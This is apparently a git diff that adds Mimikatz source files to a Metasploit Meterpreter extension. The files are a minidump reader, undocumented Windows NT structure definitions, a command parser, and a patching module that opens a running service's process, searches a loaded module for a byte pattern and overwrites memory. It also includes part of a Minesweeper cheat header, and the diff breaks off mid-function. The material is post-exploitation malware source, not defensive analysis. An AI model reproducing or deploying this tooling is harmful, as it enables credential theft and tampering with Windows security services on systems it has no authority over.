|
||||
DWORD pidWinmine;
|
||||
structMonDemineur * addrMonDemineur;
|
||||
PTHREAD_START_ROUTINE addrPause;
|
||||
PTHREAD_START_ROUTINE addrResume;
|
||||
PTHREAD_START_ROUTINE addrStart;
|
||||
} structHandleAndAddr;
|
||||
|
||||
static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr);
|
||||
static bool startThreadAt(unsigned long structOffset);
|
||||
static bool infosOrCheat(vector<wstring> * arguments, bool cheat = false);
|
||||
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool infos(vector<wstring> * arguments);
|
||||
static bool start(vector<wstring> * arguments);
|
||||
static bool pause(vector<wstring> * arguments);
|
||||
static bool reprise(vector<wstring> * arguments);
|
||||
static bool cheat(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,163 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_minidump.h"
|
||||
|
||||
mod_minidump::mod_minidump() : monFichier(NULL), monFileMapping(NULL), mesDonnees(NULL)
|
||||
{
|
||||
}
|
||||
|
||||
mod_minidump::~mod_minidump(void)
|
||||
{
|
||||
if(mesDonnees)
|
||||
UnmapViewOfFile(mesDonnees);
|
||||
|
||||
if(monFileMapping)
|
||||
CloseHandle(monFileMapping);
|
||||
|
||||
if(monFichier)
|
||||
CloseHandle(monFichier);
|
||||
}
|
||||
|
||||
LPVOID mod_minidump::RVAtoPTR(RVA monRVA)
|
||||
{
|
||||
return reinterpret_cast<PBYTE>(mesDonnees) + monRVA;
|
||||
}
|
||||
|
||||
bool mod_minidump::open(wchar_t * filename)
|
||||
{
|
||||
bool resultat = false;
|
||||
|
||||
if(monFichier = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL))
|
||||
if(monFileMapping = CreateFileMapping(monFichier, NULL, PAGE_READONLY, 0, 0, NULL))
|
||||
if(mesDonnees = MapViewOfFile(monFileMapping, FILE_MAP_READ, 0, 0, 0))
|
||||
resultat = (reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Signature == MINIDUMP_SIGNATURE) && (static_cast<WORD>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Version) == MINIDUMP_VERSION);
|
||||
|
||||
return resultat;
|
||||
}
|
||||
|
||||
MINIDUMP_TYPE mod_minidump::getFlags()
|
||||
{
|
||||
return static_cast<MINIDUMP_TYPE>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Flags);
|
||||
}
|
||||
|
||||
const wchar_t *FlagsString[] = {
|
||||
L"MiniDumpNormal",
|
||||
L"MiniDumpWithDataSegs",
|
||||
L"MiniDumpWithFullMemory",
|
||||
L"MiniDumpWithHandleData",
|
||||
L"MiniDumpFilterMemory",
|
||||
L"MiniDumpScanMemory",
|
||||
L"MiniDumpWithUnloadedModules",
|
||||
L"MiniDumpWithIndirectlyReferencedMemory",
|
||||
L"MiniDumpFilterModulePaths",
|
||||
L"MiniDumpWithProcessThreadData",
|
||||
L"MiniDumpWithPrivateReadWriteMemory",
|
||||
L"MiniDumpWithoutOptionalData",
|
||||
L"MiniDumpWithFullMemoryInfo",
|
||||
L"MiniDumpWithThreadInfo",
|
||||
L"MiniDumpWithCodeSegs",
|
||||
L"MiniDumpWithoutAuxiliaryState",
|
||||
L"MiniDumpWithFullAuxiliaryState",
|
||||
L"MiniDumpWithPrivateWriteCopyMemory",
|
||||
L"MiniDumpIgnoreInaccessibleMemory",
|
||||
L"MiniDumpWithTokenInformation"
|
||||
};
|
||||
|
||||
bool mod_minidump::FlagsToStrings(vector<wstring> * monVecteur)
|
||||
{
|
||||
return FlagsToStrings(getFlags(), monVecteur);
|
||||
}
|
||||
|
||||
bool mod_minidump::FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur)
|
||||
{
|
||||
bool resultat = false;
|
||||
|
||||
if(!Flags)
|
||||
{
|
||||
monVecteur->push_back(FlagsString[0]);
|
||||
resultat = true;
|
||||
}
|
||||
else if(Flags & MiniDumpValidTypeFlags)
|
||||
{
|
||||
DWORD shift, i;
|
||||
for(shift = MiniDumpWithDataSegs, i = 1; shift <= MiniDumpWithTokenInformation; shift<<=1, i++)
|
||||
{
|
||||
if((Flags & shift) == shift)
|
||||
monVecteur->push_back(FlagsString[i]);
|
||||
}
|
||||
resultat = true;
|
||||
}
|
||||
|
||||
return resultat;
|
||||
}
|
||||
|
||||
LPVOID mod_minidump::getStream(MINIDUMP_STREAM_TYPE type)
|
||||
{
|
||||
PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva));
|
||||
for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; i++)
|
||||
{
|
||||
if(mesRepertoires[i].StreamType == type)
|
||||
return RVAtoPTR(mesRepertoires[i].Location.Rva);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PMINIDUMP_MODULE mod_minidump::getMinidumpModule(wstring & nomModule)
|
||||
{
|
||||
if(PMINIDUMP_MODULE_LIST monObject = reinterpret_cast<PMINIDUMP_MODULE_LIST>(getStream(ModuleListStream)))
|
||||
{
|
||||
for(DWORD i = 0; i < monObject->NumberOfModules; i++)
|
||||
{
|
||||
PMINIDUMP_MODULE monModule = &monObject->Modules[i];
|
||||
PMINIDUMP_STRING monModuleString = reinterpret_cast<PMINIDUMP_STRING>(RVAtoPTR(monObject->Modules[i].ModuleNameRva));
|
||||
if(mod_text::wstr_ends_with(monModuleString->Buffer, monModuleString->Length / sizeof(wchar_t), nomModule.c_str(), nomModule.size()))
|
||||
return monModule;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool mod_minidump::getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur)
|
||||
{
|
||||
PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva));
|
||||
for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; monVecteur->push_back(&mesRepertoires[i++]));
|
||||
return true;
|
||||
}
|
||||
|
||||
const wchar_t *StreamTypeString[] = {
|
||||
L"UnusedStream",
|
||||
L"ReservedStream0",
|
||||
L"ReservedStream1",
|
||||
L"ThreadListStream",
|
||||
L"ModuleListStream",
|
||||
L"MemoryListStream",
|
||||
L"ExceptionStream",
|
||||
L"SystemInfoStream",
|
||||
L"ThreadExListStream",
|
||||
L"Memory64ListStream",
|
||||
L"CommentStreamA",
|
||||
L"CommentStreamW",
|
||||
L"HandleDataStream",
|
||||
L"FunctionTableStream",
|
||||
L"UnloadedModuleListStream",
|
||||
L"MiscInfoStream",
|
||||
L"MemoryInfoListStream",
|
||||
L"ThreadInfoListStream",
|
||||
L"HandleOperationListStream",
|
||||
L"TokenStream"
|
||||
};
|
||||
|
||||
wstring mod_minidump::StreamTypeToString(MINIDUMP_STREAM_TYPE monType)
|
||||
{
|
||||
if(monType <= TokenStream)
|
||||
return StreamTypeString[monType];
|
||||
else
|
||||
{
|
||||
wostringstream monStream;
|
||||
monStream << L"Inconnu (" << monType << L")";
|
||||
return monStream.str();
|
||||
}
|
||||
}
|
@ -0,0 +1,33 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <dbghelp.h>
|
||||
#include "mod_text.h"
|
||||
|
||||
class mod_minidump
|
||||
{
|
||||
private:
|
||||
HANDLE monFichier, monFileMapping;
|
||||
LPVOID mesDonnees;
|
||||
|
||||
public:
|
||||
mod_minidump();
|
||||
virtual ~mod_minidump(void);
|
||||
|
||||
LPVOID RVAtoPTR(RVA monRVA);
|
||||
bool open(wchar_t * filename);
|
||||
LPVOID getStream(MINIDUMP_STREAM_TYPE type);
|
||||
|
||||
PMINIDUMP_MODULE getMinidumpModule(wstring & nomModule);
|
||||
bool getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur);
|
||||
MINIDUMP_TYPE getFlags();
|
||||
bool FlagsToStrings(vector<wstring> * monVecteur);
|
||||
|
||||
|
||||
static wstring StreamTypeToString(MINIDUMP_STREAM_TYPE monType);
|
||||
static bool FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur);
|
||||
};
|
321
c/meterpreter/source/extensions/mimikatz/modules/mod_ntddk.h
Normal file
321
c/meterpreter/source/extensions/mimikatz/modules/mod_ntddk.h
Normal file
@ -0,0 +1,321 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <ntsecapi.h>
|
||||
|
||||
typedef LONG KPRIORITY;
|
||||
typedef void** PPVOID;
|
||||
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemBasicInformation,
|
||||
SystemProcessorInformation,
|
||||
SystemPerformanceInformation,
|
||||
SystemTimeOfDayInformation,
|
||||
SystemPathInformation,
|
||||
SystemProcessInformation,
|
||||
SystemCallCountInformation,
|
||||
SystemDeviceInformation,
|
||||
SystemProcessorPerformanceInformation,
|
||||
SystemFlagsInformation,
|
||||
SystemCallTimeInformation,
|
||||
SystemModuleInformation,
|
||||
SystemLocksInformation,
|
||||
SystemStackTraceInformation,
|
||||
SystemPagedPoolInformation,
|
||||
SystemNonPagedPoolInformation,
|
||||
SystemHandleInformation,
|
||||
SystemObjectInformation,
|
||||
SystemPageFileInformation,
|
||||
SystemVdmInstemulInformation,
|
||||
SystemVdmBopInformation,
|
||||
SystemFileCacheInformation,
|
||||
SystemPoolTagInformation,
|
||||
SystemInterruptInformation,
|
||||
SystemDpcBehaviorInformation,
|
||||
SystemFullMemoryInformation,
|
||||
SystemLoadGdiDriverInformation,
|
||||
SystemUnloadGdiDriverInformation,
|
||||
SystemTimeAdjustmentInformation,
|
||||
SystemSummaryMemoryInformation,
|
||||
SystemNextEventIdInformation,
|
||||
SystemEventIdsInformation,
|
||||
SystemCrashDumpInformation,
|
||||
SystemExceptionInformation,
|
||||
SystemCrashDumpStateInformation,
|
||||
SystemKernelDebuggerInformation,
|
||||
SystemContextSwitchInformation,
|
||||
SystemRegistryQuotaInformation,
|
||||
SystemExtendServiceTableInformation,
|
||||
SystemPrioritySeperation,
|
||||
SystemPlugPlayBusInformation,
|
||||
SystemDockInformation,
|
||||
KIWI_SystemPowerInformation,
|
||||
SystemProcessorSpeedInformation,
|
||||
SystemCurrentTimeZoneInformation,
|
||||
SystemLookasideInformation,
|
||||
KIWI_SystemMmSystemRangeStart = 50
|
||||
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
|
||||
|
||||
typedef enum _OBJECT_INFORMATION_CLASS {
|
||||
ObjectBasicInformation,
|
||||
ObjectNameInformation,
|
||||
ObjectTypeInformation,
|
||||
ObjectAllInformation,
|
||||
ObjectDataInformation
|
||||
} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;
|
||||
|
||||
|
||||
typedef enum _PROCESSINFOCLASS {
|
||||
ProcessBasicInformation,
|
||||
ProcessQuotaLimits,
|
||||
ProcessIoCounters,
|
||||
ProcessVmCounters,
|
||||
ProcessTimes,
|
||||
ProcessBasePriority,
|
||||
ProcessRaisePriority,
|
||||
ProcessDebugPort,
|
||||
ProcessExceptionPort,
|
||||
ProcessAccessToken,
|
||||
ProcessLdtInformation,
|
||||
ProcessLdtSize,
|
||||
ProcessDefaultHardErrorMode,
|
||||
ProcessIoPortHandlers, // Note: this is kernel mode only
|
||||
ProcessPooledUsageAndLimits,
|
||||
ProcessWorkingSetWatch,
|
||||
ProcessUserModeIOPL,
|
||||
ProcessEnableAlignmentFaultFixup,
|
||||
ProcessPriorityClass,
|
||||
ProcessWx86Information,
|
||||
ProcessHandleCount,
|
||||
ProcessAffinityMask,
|
||||
ProcessPriorityBoost,
|
||||
ProcessDeviceMap,
|
||||
ProcessSessionInformation,
|
||||
ProcessForegroundInformation,
|
||||
ProcessWow64Information,
|
||||
ProcessImageFileName,
|
||||
ProcessLUIDDeviceMapsEnabled,
|
||||
ProcessBreakOnTermination,
|
||||
ProcessDebugObjectHandle,
|
||||
ProcessDebugFlags,
|
||||
ProcessHandleTracing,
|
||||
ProcessIoPriority,
|
||||
ProcessExecuteFlags,
|
||||
ProcessTlsInformation,
|
||||
ProcessCookie,
|
||||
ProcessImageInformation,
|
||||
ProcessCycleTime,
|
||||
ProcessPagePriority,
|
||||
ProcessInstrumentationCallback,
|
||||
ProcessThreadStackAllocation,
|
||||
ProcessWorkingSetWatchEx,
|
||||
ProcessImageFileNameWin32,
|
||||
ProcessImageFileMapping,
|
||||
ProcessAffinityUpdateMode,
|
||||
ProcessMemoryAllocationMode,
|
||||
ProcessGroupInformation,
|
||||
ProcessTokenVirtualizationEnabled,
|
||||
ProcessConsoleHostProcess,
|
||||
ProcessWindowInformation,
|
||||
MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef enum _POOL_TYPE
|
||||
{
|
||||
NonPagedPool,
|
||||
PagedPool,
|
||||
NonPagedPoolMustSucceed,
|
||||
DontUseThisType,
|
||||
NonPagedPoolCacheAligned,
|
||||
PagedPoolCacheAligned,
|
||||
NonPagedPoolCacheAlignedMustS
|
||||
} POOL_TYPE, *PPOOL_TYPE;
|
||||
|
||||
typedef struct _PROCESS_SESSION_INFORMATION {
|
||||
ULONG SessionId;
|
||||
} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION;
|
||||
|
||||
typedef struct _PROCESS_ACCESS_TOKEN {
|
||||
HANDLE Token;
|
||||
HANDLE Thread;
|
||||
} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;
|
||||
|
||||
typedef struct _OBJECT_TYPE_INFORMATION
|
||||
{
|
||||
UNICODE_STRING Name;
|
||||
ULONG TotalNumberOfObjects;
|
||||
ULONG TotalNumberOfHandles;
|
||||
ULONG TotalPagedPoolUsage;
|
||||
ULONG TotalNonPagedPoolUsage;
|
||||
ULONG TotalNamePoolUsage;
|
||||
ULONG TotalHandleTableUsage;
|
||||
ULONG HighWaterNumberOfObjects;
|
||||
ULONG HighWaterNumberOfHandles;
|
||||
ULONG HighWaterPagedPoolUsage;
|
||||
ULONG HighWaterNonPagedPoolUsage;
|
||||
ULONG HighWaterNamePoolUsage;
|
||||
ULONG HighWaterHandleTableUsage;
|
||||
ULONG InvalidAttributes;
|
||||
GENERIC_MAPPING GenericMapping;
|
||||
ULONG ValidAccess;
|
||||
BOOLEAN SecurityRequired;
|
||||
BOOLEAN MaintainHandleCount;
|
||||
USHORT MaintainTypeList;
|
||||
POOL_TYPE PoolType;
|
||||
ULONG PagedPoolUsage;
|
||||
ULONG NonPagedPoolUsage;
|
||||
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
|
||||
|
||||
typedef struct ___LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
ULONG Flags;
|
||||
WORD LoadCount;
|
||||
WORD TlsIndex;
|
||||
union
|
||||
{
|
||||
LIST_ENTRY HashLinks;
|
||||
struct
|
||||
{
|
||||
PVOID SectionPointer;
|
||||
ULONG CheckSum;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
ULONG TimeDateStamp;
|
||||
PVOID LoadedImports;
|
||||
};
|
||||
DWORD EntryPointActivationContext; //_ACTIVATION_CONTEXT * EntryPointActivationContext;
|
||||
PVOID PatchInformation;
|
||||
LIST_ENTRY ForwarderLinks;
|
||||
LIST_ENTRY ServiceTagLinks;
|
||||
LIST_ENTRY StaticLinks;
|
||||
} __LDR_DATA_TABLE_ENTRY, *_PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
|
||||
typedef struct ___PEB_LDR_DATA {
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModulevector;
|
||||
LIST_ENTRY InMemoryOrderModulevector;
|
||||
LIST_ENTRY InInitializationOrderModulevector;
|
||||
} __PEB_LDR_DATA, *__PPEB_LDR_DATA;
|
||||
|
||||
typedef struct ___PEB
|
||||
{
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
BOOLEAN Spare;
|
||||
HANDLE Mutant;
|
||||
PVOID ImageBaseAddress;
|
||||
__PPEB_LDR_DATA LoaderData;
|
||||
PVOID ProcessParameters; //PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PVOID FastPebLock;
|
||||
PVOID FastPebLockRoutine; //PPEBLOCKROUTINE FastPebLockRoutine;
|
||||
PVOID FastPebUnlockRoutine; //PPEBLOCKROUTINE FastPebUnlockRoutine;
|
||||
ULONG EnvironmentUpdateCount;
|
||||
PPVOID KernelCallbackTable;
|
||||
PVOID EventLogSection;
|
||||
PVOID EventLog;
|
||||
DWORD Freevector; //PPEB_FREE_BLOCK Freevector;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[0x2];
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID ReadOnlySharedMemoryHeap;
|
||||
PPVOID ReadOnlyStaticServerData;
|
||||
PVOID AnsiCodePageData;
|
||||
PVOID OemCodePageData;
|
||||
PVOID UnicodeCaseTableData;
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
BYTE Spare2[0x4];
|
||||
LARGE_INTEGER CriticalSectionTimeout;
|
||||
ULONG HeapSegmentReserve;
|
||||
ULONG HeapSegmentCommit;
|
||||
ULONG HeapDeCommitTotalFreeThreshold;
|
||||
ULONG HeapDeCommitFreeBlockThreshold;
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PPVOID *ProcessHeaps;
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
PVOID GdiDCAttributevector;
|
||||
PVOID LoaderLock;
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
ULONG OSBuildNumber;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubSystem;
|
||||
ULONG ImageSubSystemMajorVersion;
|
||||
ULONG ImageSubSystemMinorVersion;
|
||||
ULONG GdiHandleBuffer[0x22];
|
||||
ULONG PostProcessInitRoutine;
|
||||
ULONG TlsExpansionBitmap;
|
||||
BYTE TlsExpansionBitmapBits[0x80];
|
||||
ULONG SessionId;
|
||||
} PEB, *PPEB;
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION {
|
||||
NTSTATUS ExitStatus;
|
||||
PPEB PebBaseAddress;
|
||||
ULONG_PTR AffinityMask;
|
||||
KPRIORITY BasePriority;
|
||||
ULONG_PTR UniqueProcessId;
|
||||
ULONG_PTR InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION {
|
||||
SIZE_T Size; // Must be set to structure size on input
|
||||
PROCESS_BASIC_INFORMATION BasicInfo;
|
||||
union {
|
||||
ULONG Flags;
|
||||
struct {
|
||||
ULONG IsProtectedProcess : 1;
|
||||
ULONG IsWow64Process : 1;
|
||||
ULONG IsProcessDeleting : 1;
|
||||
ULONG IsCrossSessionCreate : 1;
|
||||
ULONG SpareBits : 28;
|
||||
} DUMMYSTRUCTNAME;
|
||||
} DUMMYUNIONNAME;
|
||||
} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_HANDLE
|
||||
{
|
||||
DWORD ProcessId;
|
||||
BYTE ObjectTypeNumber;
|
||||
BYTE Flags;
|
||||
USHORT Handle;
|
||||
PVOID Object;
|
||||
ACCESS_MASK GrantedAccess;
|
||||
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
|
||||
|
||||
typedef struct _SYSTEM_HANDLE_INFORMATION
|
||||
{
|
||||
DWORD HandleCount;
|
||||
SYSTEM_HANDLE Handles[1];
|
||||
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
|
||||
|
||||
typedef NTSTATUS (WINAPI * PNT_QUERY_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength);
|
||||
typedef NTSTATUS (WINAPI * PNT_SET_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in PVOID ProcessInformation, __in ULONG ProcessInformationLength);
|
||||
typedef NTSTATUS (WINAPI * PNT_SUSPEND_PROCESS) (__in HANDLE ProcessHandle);
|
||||
typedef NTSTATUS (WINAPI * PNT_RESUME_PROCESS) (__in HANDLE ProcessHandle);
|
||||
typedef NTSTATUS (WINAPI * PNT_QUERY_SYSTEM_INFORMATION) (__in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength);
|
||||
typedef NTSTATUS (WINAPI * PNT_QUERY_OBJECT) (__in_opt HANDLE Handle, __in OBJECT_INFORMATION_CLASS ObjectInformationClass, __out_opt PVOID ObjectInformation, __in ULONG ObjectInformationLength, __out_opt PULONG ReturnLength);
|
||||
typedef NTSTATUS (WINAPI * PNT_FILTER_TOKEN) (__in HANDLE ExistingTokenHandle, __in ULONG Flags, __in PTOKEN_GROUPS SidsToDisable, __in PTOKEN_PRIVILEGES PrivilegeToDelete, __in PTOKEN_GROUPS SidsToRestricted, __out PHANDLE NewTokenHandle);
|
@ -0,0 +1,38 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_parseur.h"
|
||||
|
||||
vector<wstring> mod_parseur::parse(const wstring & line)
|
||||
{
|
||||
vector<wstring> result;
|
||||
|
||||
wstring item;
|
||||
wstringstream ss(line);
|
||||
|
||||
while(ss >> item)
|
||||
{
|
||||
if (item[0] == L'"')
|
||||
{
|
||||
if (item[item.length() - 1] == L'"')
|
||||
{
|
||||
result.push_back(item.substr(1, item.length() -2));
|
||||
}
|
||||
else
|
||||
{
|
||||
wstring restOfItem;
|
||||
getline(ss, restOfItem, L'"');
|
||||
result.push_back(item.substr(1) + restOfItem);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
result.push_back(item);
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
@ -0,0 +1,15 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <sstream>
|
||||
|
||||
class mod_parseur
|
||||
{
|
||||
public:
|
||||
static vector<wstring> parse(const wstring & line);
|
||||
};
|
||||
|
145
c/meterpreter/source/extensions/mimikatz/modules/mod_patch.cpp
Normal file
145
c/meterpreter/source/extensions/mimikatz/modules/mod_patch.cpp
Normal file
@ -0,0 +1,145 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_patch.h"
|
||||
|
||||
bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
|
||||
if(mod_service::getUniqueForName(&monService, &serviceName))
|
||||
{
|
||||
if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING)
|
||||
{
|
||||
wcout << L"Service : " << monService.serviceDisplayName << endl;
|
||||
reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace);
|
||||
}
|
||||
else wcout << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air très actif" << endl;
|
||||
}
|
||||
else wcout << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
mod_process::KIWI_MODULEENTRY32 monModule;
|
||||
if(mod_process::getUniqueModuleForName(&monModule, (moduleName.empty() ? NULL : &moduleName), &pid))
|
||||
{
|
||||
BYTE * baseAddr = monModule.modBaseAddr;
|
||||
DWORD taille = monModule.modBaseSize;
|
||||
|
||||
if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid))
|
||||
{
|
||||
wcout << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl;
|
||||
|
||||
BYTE * addrPattern = NULL;
|
||||
if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle))
|
||||
{
|
||||
reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle);
|
||||
wcout << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl;
|
||||
}
|
||||
else wcout << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
|
||||
|
||||
CloseHandle(processHandle);
|
||||
}
|
||||
else wcout << L"OpenProcess : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_patch::getFullVersion(DWORD * majorVersion, DWORD * minorVersion, DWORD * build, bool * isServer, bool * is64)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
OSVERSIONINFOEX maVersion;
|
||||
if(reussite = mod_system::getVersion(&maVersion))
|
||||
{
|
||||
if(majorVersion) *majorVersion = maVersion.dwMajorVersion;
|
||||
if(majorVersion) *minorVersion = maVersion.dwMinorVersion;
|
||||
if(build) *build = maVersion.dwBuildNumber;
|
||||
if(isServer) *isServer = maVersion.wProductType != VER_NT_WORKSTATION;
|
||||
|
||||
if(is64)
|
||||
{
|
||||
SYSTEM_INFO mesInfos;
|
||||
GetNativeSystemInfo(&mesInfos);
|
||||
|
||||
*is64 = (mesInfos.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64);
|
||||
}
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD majorVersion, minorVersion, build;
|
||||
bool isServer, is64;
|
||||
|
||||
if(getFullVersion(&majorVersion, &minorVersion, &build, &isServer, &is64))
|
||||
{
|
||||
reussite =
|
||||
(monOsValide->majorVersion == majorVersion) &&
|
||||
(monOsValide->minorVersion == minorVersion) &&
|
||||
((monOsValide->build == build) || (monOsValide->build == 0)) &&
|
||||
(monOsValide->isServer == isServer) &&
|
||||
(monOsValide->is64 == is64)
|
||||
;
|
||||
}
|
||||
else wcout << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_patch::checkVersion(OS monOsValide)
|
||||
{
|
||||
KIWI_OS_CHECK kOs;
|
||||
switch(monOsValide)
|
||||
{
|
||||
case WINDOWS_2000_PRO_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
|
||||
